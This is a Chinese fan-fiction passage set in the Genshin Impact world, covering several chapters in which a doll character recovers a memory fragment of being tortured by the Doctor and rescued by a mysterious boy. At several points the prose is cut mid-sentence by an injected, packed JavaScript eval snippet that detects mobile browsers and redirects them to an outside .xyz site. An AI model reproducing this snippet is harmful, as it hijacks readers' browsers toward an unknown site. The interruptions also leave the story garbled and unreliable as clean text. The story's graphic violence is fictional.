微弱的电流包裹着瓶身,月见里清也控制着手上的力度,才勉勉强强将这瓶罐装知识的颜色稀释了一点,跟正常的罐装知识相比,依旧差很多。 为了防止学者发现异常,月见里清也放弃了尝试,将手里的罐装知识放回原位,看着学者密码盒锁好后才收回视线。 以自己为载体净化知识这个法子行得通,但他没想到依靠核心自动触发的自净,依旧无法让这些知识恢复到可以让人体接受的程度。而且在离开世界树后,由他自主控制的净化效果也跟着大打折扣。 比起清除深渊,更难的是将深渊净化成可以让人接受的力量。 就算月见里清也前几日有意控制收集进度,但在大贤者的催促下,神明罐装知识的收集终于要步入尾声。 在这剩下的几天里,月见里清也终于学会了跟他身体里的能量和谐共处,虽然离熟练掌握仍有一段距离,但最起码不用担心它再次外泄了。 只是这个结果不管是对于月见里清也还是对散兵而言,多少有些差强人意。 离开实验室的路上,月见里清也没像往常一样返回住所,反而是逆着下课的人流重新回到教学区,在一处隐蔽的升降梯上刷了自己的工作卡。 升降梯下落的过程中,月见里清也带上自己许久不用的虚空终端,浏览着通讯页面。其实也没什么好看的,通讯录总共就两人,一个从来没上过线,另一个每天都在坚持不懈的给他发各种学术文件。 由于月见里清也没有使用罐装知识的需求,他与散兵之间的聊天依靠通讯器就可以满足,虚空终端对于二人来说实属累赘,新鲜劲一过去便被束之高阁。 但对于没有通讯器的卡斯珀来说,虚空终端能够传输文件的功能正好解决了他的燃眉之急。 自从上次数据收集完毕,有关机体设计和进一步改进方案卡斯珀都会通过虚空终端发给月见里清也,这也是他这几日都带着虚空终端的原因。 跟卡斯珀的聊天页面停留在今天一早,卡斯珀只给他发一条消息:忙完了来我这里。 神明罐装知识收集进入尾声,就意味着地下工坊另一场硬仗即将拉开帷幕。 这时候叫月见里清也下去,估计是修改好几遍的设计稿终于通过了审核,可以准备建造以及进行生体改造了。 他给卡斯珀回了个“马上”,就把虚空终端收了起来。 地下工坊按照各部门分工不同,分布在不同的层数,越往下的越靠近核心区域,普通员工的工作卡只能在前面的一二里层使用,无法前往最重要的第三层。 按照卡斯珀的说法,等到月见里清也开始进行生体改造后,他们部门也就能跟着搬进核心区域里了。 升降梯停在二层上,月见里清也没着急出去,试着按了按第三层的按钮,但升降梯依旧稳稳停在二层上,没有任何反应。 他本想试一试,见没有反应也就放弃了去三层游览一圈的想法,刚离开升降梯,就听见一声刺耳的警报声响起。 月见里清也挑眉,不知道这升降梯犯什么毛病。 总不能是刚才自己瞎戳戳坏了吧…… 他在心里默默地把这一结论划掉,抱着手离升降梯远了点。 四周还有不少等电梯的学者和愚人众士兵,他们也被突如其来的警报声吓了一跳,很有默契的围着电梯转了一圈,没人敢上前。 他们原本以为是月见里清也触发了升降梯的警报,但月见里清也相当坦然,目送着他所乘坐的升降梯关上门,上行至一楼继续工作,一切看起来无比正常。 工坊总共两架升降机,另一架升降梯正在从三层往上走,月见里清也余光瞥到顺着楼梯追上来的士兵,眼看升降梯没有在二楼停留的意思,他迅速上前去按下了升降梯的按钮。 月见里清也按电梯的同时,围观群众喊住追之而来的士兵,一气呵成。 升降梯在二层停下,大门打开,月见里清也伸手拦住大门,升降梯门无法关闭,里面的人也就无法再通过升降梯逃跑。 他原本想直接动手将那人制服,却在看清里头那人的脸后愣了几秒,“你……” 升降梯意外停下,而远处传来追兵的声音,这一切都是犯人始料未及的,他撞开挡在门口的月见里清也,慌不择路地向着人群外逃去。 月见里清也被撞得一个踉跄,他没追上去,捂着被撞的地方,皱着眉看着正在逃窜的人。 那人穿着愚人众的制服,官衔也不高,放在工坊里估计没有多少人认识,恐怕连跟他一同共事几天的学者都对他印象不深,但巧的是,月见里清也认识。 这人就是几天前还在自己面前晃悠的第二席士兵,自从跟他挑明了之后,月见里清也就再也没见过他了,谁知道再次见面就变成这样的场面。 士兵还没跑出几米,就被另一队士兵包抄拦截,最终反抗未果,被按在地上带上手铐,压着走了。 围观人群还在议论纷纷,月见里清也却没心思听,悄悄地远离众人视线,直到来到一处安静人少的地方。 方才那士兵撞到他身上时,借着撞击的动作,将手里紧握的东西塞到他怀里,而月见里清也反应极快捂住腹部,没引起任何人的怀疑。 确认周围没有其他人打搅后,他才将一直捂着腹部的手拿下来,一个实验样品瓶躺在他的手心里,瓶子里装着一小块透亮的晶体。 月见里清也面无表情地将东西妥帖收好,无需借助设备来进行确认,从士兵将样品瓶强硬的塞入月见里清也怀中的那一刻,他就已经知道这里面是什么了。 拿着那一小块的晶体,曾经出现在博士身上的熟悉感又一次浮现,比任何一次都要清晰、强烈。 拿回自己遗失的核心断片,月见里清也的情绪没有什么太大的起伏,他并不像自己预料中的那样开心,伴随着断片的回归,随之而来的是层层的疑惑。 虽然他与士兵交涉不深,但按照士兵之前在他面前表露出来的样子来看,他根本没有胆子偷博士的东西。还能在逃命计划被打乱时,临危不乱的改变计划将东西塞给他。 能因为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16195267|176541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一句话而两天都躲着不见他的人,有这么大的胆子在博士眼皮子底下偷东西? 月见里清也不觉得。 或许在看热闹的人群中有直到内情的人,但月见里清也不打算凑这个热闹,一会会有人告诉他的。 按照月见里清也对卡斯珀的了解,除非这时他手头有马上要到截止时间的工作,否则绝对会出去凑个热闹,他的办公室百分之八十的情况下是没有人在的。 走之前他确认了一遍断片有没有放好,确认无误后才放心带着断片来到卡斯珀办公室门前,尽管知道没人,他还是先礼貌的敲了敲门再推门而入。 果不其然,办公室里空无一人,月见里清也不拿以当外人,往办公椅上一坐,等着卡斯珀带着消息回来。 凑热闹归凑热闹,卡斯珀没忘月见里清也给他发过消息,五分钟后,他就回来了。 “打探完消息了?”月见里清也撑着头问。 卡斯珀点了点头,“在三层的员工为了看热闹都追二层来了,听他们说是一个偷东西的,不知道为啥想不开去偷博士的东西。” 月见里清也哼笑一声,明知故问:“他都偷了什么?” “不知道。”卡斯珀随口说。 月见里清也一愣:……? 那你都听了什么? “据说是偷办公室的东西,实验室的还好猜一点,办公室上哪知道去,谁知道博士有多少私人藏品。”卡斯珀漫不经心地说着,从书架上抽出一沓文件,递给月见里清也,“具体的还得等审完他再说。” 那也就说明,博士现在暂时还不知道士兵从他办公室里偷了核心碎片并且已经转交给了自己。 月见里清也暗自思索着,放下心看起手上的文件,是一份自愿参与参与生体改造的免责书。 “虽然没必要,但走个形式。”卡斯珀递过来一支笔说,“等明天神明罐装知识那边结束,你就可以来这边了。” 月见里清也大体扫了一眼,在后面签上自己的名字。 卡斯珀手撑在桌上看他签名,“另外,我先提前给你打个预防针,开始改造后,你大概每天都会遇见博士。” 月见里清也名字还没签完,闻言差点把最后一个笔画划出纸外。 不明底细的卡斯珀看着他,“这么激动吗?” 月见里清也一脸牙疼的样,把签好的文件递回去,捂着嘴闷闷出声,“没事。” “你今晚没别的事吧?”卡斯珀也没细想,转头说起了别的事,“叫上斯黛拉和你哥,今晚上一块吃个饭?” 月见里清也脸色一僵,“不了,改天吧。” 说完起身就想走,卡斯珀看了一眼时间,有些奇怪道:“马上就到下班时间了,你不等你哥?” 眼下要先趁着博士还没反应过来,抓紧读取断片里的记忆,散兵的生体改造已经开始了,这时候还不能让他分心。 所以眼下就是最佳时机,月见里清也当然不可能和散兵一块回家,撂下一句含糊不清的“有事”就跑了。 “你能有什么事啊,后面有狗咬你吗?”卡斯珀一时嘴快,嘟囔完才反应过来,“不对,好像把我自己给骂进去了。” 58.一切的一切(其一) 即使离开百年,这块断片依旧维持着活性,也就意味着,事发当天的一切记忆依旧储存在这里。 月见里清也像连接世界树时的那样,将自己放空,尝试与断片建立连接。 最初的恍惚感消失后,他眼前不再是须弥的临时宿舍,取而代之的是百年前的地下遗迹,潮湿的泥土味混着营地里的柴火味,让他有股不切实际的感觉。 身处记忆中的他不能控制自己的身体,只能跟随当时的自己行动,他看着自己百无聊赖地翻着名单,清点还有哪些队伍没有归队。 大多数队伍已经返回,只有一两支队伍还没回来,其中就有散兵亲自带的队伍。 月见里清也按开怀表,距离计划中的返程时间已经所剩无几,平日里最能沉得住气的他,此时也有些焦虑。 通向遗迹深处的路上出现一支队伍的身影,月见里清也迅速起身看去,见队伍里没有那个熟悉的身影,又失望的坐了回去。 面对士兵的汇报,他心不在焉的点点头,打开名单将对应的名字勾去。 随着时间推移,月见里清也心里的不安感越来越强烈。 怀表的表盖不断地合上又打开,直到有人勾着表链抽走了怀表,让人心焦的“哒哒”声才停下。 月见里清也抬眼看去,见卡斯珀手里拿着他的怀表,“咔哒”一声合上怀盖,重新放回他手心里,“还有半小时,别急。” 月见里清也扯了扯嘴角没回话,沉默的摸索着表面上的花纹。 卡斯珀叹了一口气,在他身旁坐下,从口袋里拿出一颗糖果悄摸给他,“他什么实力你心里还没数吗?” “就是知道他什么实力,这个点没回来我才担心。”月见里清也剥开糖纸,把糖果塞进嘴里。 “你也知道这次任务之后会发生什么,执行官以实力著称,这次任务肯定要比平时的要难,不然怎么服众。”卡斯珀说,“你给我个准话,你是不是也有情况?” 月见里清也莫名其妙地看他一眼,“什么啊?” “别装,你真不知道最近那些八卦?”卡斯珀说。 最近队里流传的八卦千奇百怪,但无非都是在讨论散兵和月见里清也到底谁会成为执行官。但对于月见里清也来说,这件事在他们加入愚人众时就已经成为定局,他绝无可能成为执行官,反倒是不知底细的士兵吵得热火朝天。 眼下士兵们无非就分两派,一种是站散兵的,一种是站月见里清也的,当然,据月见里清也了解的情况来看,只有一小部分站自己。 月见里清也还真有点好奇卡斯珀会选谁,反问道:“你觉得呢?” 同样不知底细的卡斯珀摸不准他的意思,小声道:“嘶……你该不会也当执行官吧?” 这个“也”字就用的很棒,月见里清也知道卡斯珀是哪一派了——人数比站自己还少的,认为他们两个人都有成为执行官的端水派。 月见里清也拍了拍他,“感谢你这么看得起我,但我恐怕要让你失望了。” 这对卡斯珀倒没有什么影响,他提这件事只不过是为了暂时的转移月见里清也的注意力,就在二人说笑正起劲的时候,远处传来一声巨响,紧接着大地都在跟着颤动。 地下遗迹经常因结构不稳而出现塌方,从震感和声音大小来看,发生塌方的地方距离营地有一段距离,不会波及到这里。但这突发情况又让月见里清也刚放下没一会的心又悬了起来。 遗迹内部道路四通八达,暂时不知道那里发生了塌方,月见里清也只求不是散兵回程的必经之路发生了塌方。 但人往往最害怕什么,什么就会变成现实,月见里清也在营地焦急等消息,等来的却是噩耗。 一个士兵灰头土脸的跑过来,衣服上裹满了尘土,裸露在外的皮肤上都是擦伤,狼狈至极。他甚至顾不得别人的搀扶,直奔月见里清也,“我……我们回程的路上,遇到了塌方,队长他把我推出来了,但他和其他人都……” 月见里清也悄悄握紧拳头,逼自己冷静下来,“把塌方的路段标出来。” 看着士兵把地点标注出来,月见里清也又吩咐医务人员给他处理伤口,忙完这一切后盯着地图上的标记不知道现在想什么。 “我们之前也遇到塌方,他有充足的经验来应对,你先冷静下来。”卡斯帕说。 散兵不在,指挥权顺位到月见里清也这个副队身上,不管月见里清也此时有多着急,他也必须冷静下来。 他知道自己不能冲动,也知道眼下也没有时间可以浪费。逼着自己忽略掉散兵有可能受伤的事实,回顾整个事件。 先是散兵没有在预定的时间内回来,以他的实力来说,这很不正常,或许他在路上被什么是绊住脚步,耽误了时间,然后撞上了塌方。 “你有没有觉得,塌方有点奇怪?”月见里清也问卡斯珀。 “塌方很常见,但刚才的那阵巨响声不对劲。”卡斯珀想了一下说,“正常塌方不会发出爆炸的声响。” “有人故意把路炸塌了。”月见里清也指着地图说,“很会选地方,这里塌了,只能原路返回绕一大段远路才能回营地,如果有人受伤了,这一大段路拖也能拖死他们。” 虽然暂时不知策划这一切的幕后之人是谁,但能尾随他们下遗迹,知道他们回程路线,并且精准对执行官候选人下手的人绝非等闲之辈。 但可惜的是,散兵并非常人,这点手段甚至都不能让他严阵以待。 爆炸需要人工控制,眼下这人绝对没有跑远,离开遗迹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16204901|176541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只有两条路,营地驻扎在其中一条上,另一条的路十分难走,但对于这帮亡命徒来说,这是唯一一条路了。 而这条路也是散兵绕原路的返回营地的选择之一,如果坍塌没有太大伤亡,月见里清也猜测散兵回选择绕这条路追击凶手。 但他也做了两手准备,派了一小支队伍去另一条路上接应,营地暂时交由卡斯珀照看,自己则带着一部分人手沿着这条路追过去。 这条路因为太过险峻,从一开始就没有被纳入路线规划里,迄今为止,也只有博士收集样本的时候走过这段路。 月见里清也明显觉得路比之前好走了些,估计是沾了博士走过一遍的光。 行至深处,四周越发寂静,月见里清也脚步一顿,感觉有些不对劲。 好像……过于安静了。 不管是队伍走的大路,还是因为地形复杂没人走的小路,遗迹毕竟有深渊污染,里面的魔物数不胜数,有些道路会因为强大魔物的领地意识导致这一区域魔物稀少,但绝不会出现没有魔物的情况。 如果有什么突发状况,月见里清也自己倒可以应对,跟在他身后的队员可就不一定了。 人是月见里清也带着出来的,他不可能弃之不顾,正准备招呼众人往回走时,队里的人毫无预兆的昏倒在地,在地上横七竖八的躺了一排。 这一切来的突然,所有人当中只有月见里清也一人醒着,他将自己的长刀紧握在手里,防止意外的发生。 这时远处传来一阵脚步声,藏匿在石壁后的幕后主使从藏身处走出,他仅仅是站在那里,也藏不住骨子里的嚣张和自傲。 那人带着面具站在昏暗处,看不清具体相貌。 而他也没有跟月见里清也寒暄的意思,二话不说直接出手,月见里清也勉强接下这一击,手腕被震得发麻。 这人不论是速度、力量还是对元素力的精准控制,都远远在自己之上。 只需一击,月见里清也就知道,自己不可能打过他。 而那人也没给月见里清也反应的时间,手上猛地发力,仅凭元素力硬生生折断了月见里清也手中的长刀,速度快到根本看不清他的动作,紧接着掐着他的脖子狠狠掼向一旁的石壁。 这一击带着面具的人影没有丝毫保留,月见里清也肋骨被震断好几根,要不是他非人之躯,恐怕要当场死在这里。他偏头吐出一大口鲜血,意识逐渐昏沉。 那人见他已经丧失了还手的力气,缓步走过来,开口说了些什么。但月见里清也已经听不清了,他只在昏迷的前一刻看清了那人的发色和那标志性的鲨鱼齿。 怎么可能是他? 月见里清也想开口说这什么,可身体已经到达极限,最终他什么都没说出口,就昏了过去。 59.一切的一切(其二) 月见里清也是被一股劣质的消毒水味呛醒的,这股味道直冲鼻腔,呛得他想咳嗽。 然而还没等他这口气喘匀,呼吸时又不小心牵扯到断掉的肋骨,疼得他一激灵,彻底醒了过来。 一睁眼他发现自己被束缚带牢牢固定在椅背上,身处在一间条件略显简陋的实验室里。月见里清也皱着眉,想起昏迷前见到的那个人影,在自己见过的人里,能有一头薄荷绿头发,长着鲨鱼齿还能跟实验室牵扯上关系的人,恐怕只有博士。 月见里清也跟博士不熟,只见过几面,对他的印象还停留在“第二席执行官”和“过于理智的疯子”上。 这后半句还是他哥跟他说的。 只不过博士碍于和散兵的合作关系,对月见里清也倒还客气,今日背后策划的一切着实让他意想不到。 月见里清也大脑空白了一瞬,疼痛严重影响了他的思绪,他咬着牙忍了一会,将自己的呼吸放缓放轻,试图缓解疼痛。 但这治标不治本,除了肋骨断裂的疼痛外,后背不知因为什么原因也在跟着疼,还有受伤后不及时处理引发的高热头晕,大大小小的伤加起来,身上几乎没有一块好肉。 月见里清也几乎在不受控的打哆嗦,疼得想将自己蜷缩起来,可是束缚带捆的太紧,让他动弹不得,坐在这里的每一秒对他来说都是煎熬。 曾经最他最渴望变成人类的身躯,此刻成了他最嫌弃的东西。疼痛成了拖累,让他无法集中注意力。 虽然身体状况很差,但不拼一把的话,自己就真成了案板上待宰的鱼肉了。月见里清也想着,眼神涣散,搜寻着一切能让他脱离困境的东西,最终落在了一旁身穿防护服的人身上。 那人背对着月见里清也,正有条不紊的整理各种实验用具,暂时还不知道他已经醒了过来。 月见里清也又低下头,垂眸打量起捆在他身上的束缚带,实验室看起来简陋至极,束缚带的材质却是实打实的高端货,对元素力有着一定的抗性,仅凭元素力无法轻易破坏。 但除去这些不看,它本质上还是束缚带而已。 这是个好机会,月见里清也用把藏在衣袖里的刀片拿出来割断束缚带,挣脱束缚,将那人打晕,虽然现在他的实力大幅下滑,但对付一个普通人还是十分简单的。 他动了动手腕,刀片却没有滑出来。 月见里清也心下一沉,以为是刀片被衣物卡住,又试着动了几下。 突然,他整个人僵在座椅上,瞪大双眼,不可置信的看向自己的双手。 不是刀片卡住下不来,是他的手腕压根没动。 这……开玩笑的吧。 月见里清也不信邪,又试了一遍,结果依旧是一样的,他无法感知到自己双手的存在,也无法控制它。 抱着最坏的想法,月见里清也试着动了动腿,哪怕有一点反应,他都能安慰自己情况没有那么糟。 然而现实却兜头泼了他一盆凉水,将他最后的希望火苗浇灭了,情况糟得不能在糟了。 月见里清也大脑“嗡——”地一声,思维完全停滞,体内气血上涌,眼前的画面天旋地转,呼吸变得急促、粗重,他无法压抑自己的情绪,发出沉痛的呜咽。 粗重的呼吸声终于引起一旁助手的注意,见月见里清也还能醒过来,惊讶道:“竟然还能醒,生命力还真是顽强。” 月见里清也双目赤红,死死地盯着他,“你们到底干了什么?” “发现了?这也不能完全怪我,时间有限,大人的要求是让你丧失反抗能力,而你的实际又太强,”助手被他看的发毛,伸手将月见里清也的脸转过去,“我只好选了一个最快速有效的方式,将你的脊柱切断了。” 这句话就像落在干草垛上的火星,瞬间将月见里清也的理智烧的一点也不剩,看着眼前满不在意的助手,他恨不得食其肉,啖其血,“早晚有一天我会杀了你!” “口气不小,前提是你也得能活着出去。”助手没当回事,但见月见里清也还有精力在这里口放厥词,他终于来了兴趣,走到月见里清也身后,将他凌乱的头发胡乱的撩到一旁,露出后背深可见骨的伤口,“奇怪,你没痛觉吗?” 在他查看伤口的同时,月见里清也忽然头一歪,突然昏死过去,助手一愣,伸手去探他的呼吸。 摸到还有气的时候,助手松了口气,但那气息实在是过于微弱,仿佛不经意间他就要撒手人寰了。 “喂喂,你可别死,你死了我小命可就不保了。”助手走到他跟前,拍了拍他的脸试图把人叫醒。 月见里清也强忍着恶心,双眸半睁,冷汗从额头渗出,额前的碎发被打湿,湿哒哒地粘在额头上,声音沙哑道:“……药。” 明知道月见里清也这状况活不了多久,但人死在自己手上,和博士来之后才死可是有着天壤之别。助手见一番思索后见他也不像演的,问道:“在哪?” 月见里清也低着头,垂下的发丝遮挡住他嘴边的那一抹笑,“右边的口袋里。” 助手从他口袋里掏出一个小巧的装置,里面装着一点晶红色的液体,他将这东西凑到月见里清也眼前说:“你确定是这个?” 却不想月见里清也突然发难,忍住全身的苦痛,猛地探身向前,含住装置的同时,一口咬住助手的右手。 束缚带紧紧勒住他的胸口,月见里清也能听到自己的骨头发出断裂的声音,也能感知到二次骨折,碎片扎入肺腑时的疼痛,即便如此,他依旧没有松口,势必要从那人身上撕下一块肉。 “啊!松口!你疯了吗!”助手惨叫着,使劲往后抽自己的手,月见里清也死死咬着,最终从他手上扯下一大块皮肉。 月见里清也颇为嫌弃地将嘴里的碎肉吐出去,挑衅一笑,舌尖抵着那块小巧的装置,齿间一用力,装置被咬得稀碎。 这东西还是他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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只要你们死了,今后的日子就算再也无法行走,只能瘫在床上,没办法像正常人一样生活,我好像也可以勉强接受。 “你想拖延时间等你哥哥来救你?这对现在的你而言,的确是唯一的办法了。”博士说,“但他来了也不会改变任何事情。” “是吗?那你为什么舍近求远,故意支开他,像个老鼠一样躲到现在才动手?”月见里清也说。 “啧,说话还真是和他一样不礼貌。”博士,“枉我还想对你下手轻点。” 他说着,将手上的力量灌注到月见里清也的身体里,这股蛮横的力量在他体内横冲直撞,仿佛连五脏六腑都要绞碎。 但在博士的视线中,他接触到月见里清也接触的一瞬间,无数画面飞驰而过,最终汇集成一颗贯穿天地的银白巨树。 只是他刚刚看清这个画面,月见里清也体内突然爆出一股能量,强行将博士弹出去,他罕见的愣了片刻,像是发现了一个惊天的秘密,忍不住大笑起来。 方才那一击也耗尽了月见里清也的体力,汗水顺着脸颊滑落。 “你们还真是,每次都能给我带来新的惊喜啊!”博士看着他,话语里全是笑意,“与世界树相连的命运,你会是我下一个的课题。” 话音刚落,博士手上凝聚着元素力,狠狠地贯穿了月见里清也的胸口,紧紧地握住了他赖以生存的核心。 60.一切的一切(其三) 胸膛被博士贯穿的那一刻,月见里清也本能的感到恐惧。 他挣扎着想逃离,但残破的身躯不允许他这么做,像个脱离水的鱼,只能任人宰割。 他甚至可以清晰的感知到博士的手握住了他胸膛的某个东西,想把它硬拽出来,那东西牵连着周身的经络,被暴力扯断的疼痛在此刻超越了一切,所有的感知都离他而去,肋骨骨折、脊柱切断的痛在此刻都不算什么。 月见里清也痛呼出声,喉咙泛上一股甜腥味,血迹从他的嘴角流出,他自己已经分不清这到底是被玻璃划伤流出的血,还是胸口被贯穿造成的。 因为实在太疼了,疼到他想发疯,甚至想揪着博士的领子质问为什么不给他一个痛快。 此时此刻,脑子里除了疼已经没有其他想法了。 博士毫不在意月见里清也的痛呼,察觉到手上东西有了松动,他脸上的笑容更胜,手上的劲也越来越大。 月见里清也甚至都能清楚的感知到自己生命在一点点流逝,博士把最后一根筋脉扯断后,自己就会完全死亡。 “死亡”好像一个神奇的词汇,它出现在月见里清也脑海的一瞬间,被疼痛逼得失去理智的大脑好像恢复了一丝清明。 以现在的身体状态,他完全无法与博士抗衡,最多在几秒后,那东西就会扯出身体,而他自己也要死了…… 可他不想死。 哪怕他在得知自己成了一个废人之后他都没想过要去死,因为他知道有人在等他回家。 活下去的希望很渺茫,而他的运气一向不好,但他愿意赌这个“万一”。 蓬勃的求生欲从心底发芽,那些断掉的经脉重新缠绕住核心,它们沉默又坚定地与博士抗衡着。 博士根本没有将这些微不足道的抵抗当回事,在他看来这些反抗就是蚍蜉撼树,根本不值一提。 新芽被扯断的一瞬间,月见里清也就像一只突然断了线的木偶,脸上的生机迅速消散,眼神逐渐灰败。 博士看着手里只有巴掌大小的东西,神樱枝条环成半圆状,半包住一朵剔透的樱花,如同心脏搏动一般,在他手里有规律的震动着。 随着核心的震动,元素力从核心的断口出溢出,这些元素力没有在消散在空气里,反而汇集在月见里清也的胸口空洞处。 但就在此时,一种更为温和的能量包裹住月见里清也的身躯,犹如流水淌过干涸的土地,缓慢修复着断掉的脉络,月见里清也原本有些灰败的脸色也渐渐开始好转。 月见里清也视线还能勉强视物,但看什么都是一片模糊,他能看清有一只手放在自己胸口前,引导那些从核心断口处逸散的力量重新汇集,灌入他身体之中。 那人手上缠满了绷带,就站在他背后,他刚想转头,但那人却抢先一步掰住他的下巴,迫使他直面面前的博士。 胸口上的空洞里汇集的力量越来越多,博士手里的核心像是受到感召一般,震动的越发频繁,从他手中脱手而出,重新回归到月见里清也身体里。 博士下意识一抓,最后从核心上掰下一小块碎片。他看着眼前的突发状况,拧笑着,“装神弄鬼。” 说完他看也没看,直接挥手向前攻去,一旁的助手见状吓得疯狂后退。 这只是一件临时搭建的实验室,根本扛不住博士的攻击,博士自己有保护自己的本领,但他没有,但凡扫到一些危险的试剂发生爆炸,他也可以和那个被绑住的人一样当场交代在这了。他只是个普通人,他也不想死。 只是意料当中的爆炸并未发生,那道攻击在二人眼前先是化作了一团乱码,最后凭空消失,就好像它从未出现过。 在月见里清也的身后,一道身影渐渐浮现,那人带着兜帽,遮着面部。没人直到他是如何进来的,但是毫无疑问的,刚才装神弄鬼替月见里清也疗伤的人就是他。 随着少年的出现,时间的流速仿佛都变慢了,博士声音听不出喜怒,“我好像见过你。” “我没见过你,”少年哼笑一声,“只见过年纪大的那个。” 少年仅凭一句话就成功激怒了博士,他挂在嘴角的笑容有些扭曲,“我就是‘我’,正如你和他都是‘你’。” 博士说着目光下移,看向月见里清也。 但少年显然不以为意,“这就是我和你的不同了,我并不是月见里清也,我们是不同的个体。” “这世上不认可我的观念的人有很多,没想到你也是其中之一,我以为我们会达成一条战线。”博士惋惜道。 “我可不会和把自己切成一片一片的疯子当成合作伙伴,”少年嫌弃道,“老实说,你从四百年前的踏鞴砂就已经盯上我了吧,说的好像很冠冕堂皇,只不过因为找不到我,才把注意打到月见里清也身上来吧。” “在踏鞴砂放走你是我干的最后悔的一件事。”博士说。“但是不重要了,现在已经有了能够代替你的人选。” “瞧,你不光是个疯子,还是个痴心妄想的疯子。”少年笑道,“从四百年前你把月见里清也当做牺牲品的那一刻开始,就应该知道,你我之间是没有和平二字可言的。” 四百年前的踏鞴砂刀匠引入了一种外国而来的锻刀技术,最终这项技术导致了御影炉心的泄露,身为总负责人的丹羽久秀畏罪潜逃。但事实并非大家所知的那样,博士是这场泄露的策划者,丹羽久秀被他假扮的埃舍尔刺杀,而要死的人也不止丹羽久秋一人,月见里清也也是其中之一。 把一个人的重要之物毁掉一部分,他就会将仅剩的东西当做全部的依靠,倘若再第二次毁掉它,人性就会在不断的毁灭中被泯灭…… 最终会发生什么,少年不想知道,但他知道,这只是博士无聊的人性实验而已,实验对象就是当初的倾奇者。 丹羽久秀,月见里清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16214217|176541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也,都只是这场实验的牺牲品。 出于各种原因,少年在四百年前出手阻止了博士,救了月见里清也一命,但也因此导致博士发现了他与月见里清也之间的关联。 不管博士今日到底是为了引他现身,还是为了完成那场恶心的人性实验,少年都有不得不出手的原因。 不光为他自己,还是为了那个人。 博士一顿,淡淡的吐出两个字:“是吗。” 在踏鞴砂第一次见到倾奇者和他弟弟时,博士其实并不在乎月见里清也,因为跟倾奇者相比,他太普通了。虽然都是人偶,但他不是神造物,也没有强大的力量,除了是个人偶外就没有其他特殊的地方,所以理所当然的,他成了除丹羽久秀外最合适的牺牲品。 直到少年的出现,博士凭借他们的关联,才发现月见里清也身上有一直被自己忽略掉的东西——『时间』。 但是就如他一开始对月见里清也的评价那样,月见里清也太普通了,不知何时才会激发出这种力量,所以自己只好帮帮月见里清也了。 新的力量可以用来完善切片技术,还可以继续进行那场人性实验也,最后的黑锅也能甩给旧贵族,这么好的事情,他没有理由不做。 所以,不管少年现不现身,对他都没太大影响,毕竟月见里清也已经落在他手里了。 “我惜命,没有足够把是不会来的。”少年说,“这么和你说吧,月见里清也和他的核心,你今天一样也拿不到。” 月见里清也现在一个半死不活的残废,博士当然不信少年能带着他逃出去,但他也会适当尊重一下对手,“你可以来试试。” 少年却没动,他摇了摇头道:“刚才他咽下去的液体有定位功能,虽然现在这里的时间受我影响变得缓慢,但这不代表外界也是如此,要不你猜猜,散兵还有几分钟找到这里?” 博士神色一变,而这时,少年终于修复好了核心的断口,因为时间仓促,核心只能说勉勉强强与周身经脉连接好,但这已经够用了。 “面对未知的事物应该保持谦卑之心,太过想当然早晚会付出代价。”少年从核心里牵引着一股能量在月见里清也的经络里游走,屏蔽了一切疼痛。 “当然这也是你从不尊重生命的原因,但平凡的种子也会有巨大的潜力,你说对吗,月见里清也?”少年说。 随着这一声呼唤,月见里清也眼前的景象越发清晰,那些能量代替了损坏的器官,他甚至又能重新控制四肢,仿佛从来没有受过那些伤。 少年口中说了一个他从未听过的语言,那词汇带着说不出来的庄重,月见里清也却听懂了,少年只是又重复了一遍他的名字。 万物都有真名,真名与生灵的牵绊最深,因而也有一种术法,可以通过真名来操控、驱使真名的拥有者。 “月见里清也,”少年在他耳边轻声说,“现在,杀了他。” 61.另一块断片 这段记忆最后一个画面,定格在一双鲜血淋淋的手上。 不光双手,月见里清也几乎浑身都是血,但这些血都不是自己的,是博士的。 不管是一百年前的月见里清也,还是一年后的自己,他第一次知道,原来自己也有打伤博士的能力。 完成这一切后,他终于支撑不住,在意识即将消散之际,月见里清也听到了少年和博士的交谈声。 被月见里清也打伤的博士选择退步,但也没有轻易放他们离开,最终少年将这段记忆从核心储存中剔除,换取离开的机会。 但少年也没说清这段记忆被删去后是怎么处理的,他将这段记忆原封不动的放进博士手中的断片中,等着重见天日的那天。 月见里清也失去了记忆,对博士的一切怒火和仇恨都没了源头,这些情绪只能草草地被他归结为对博士的厌恶。 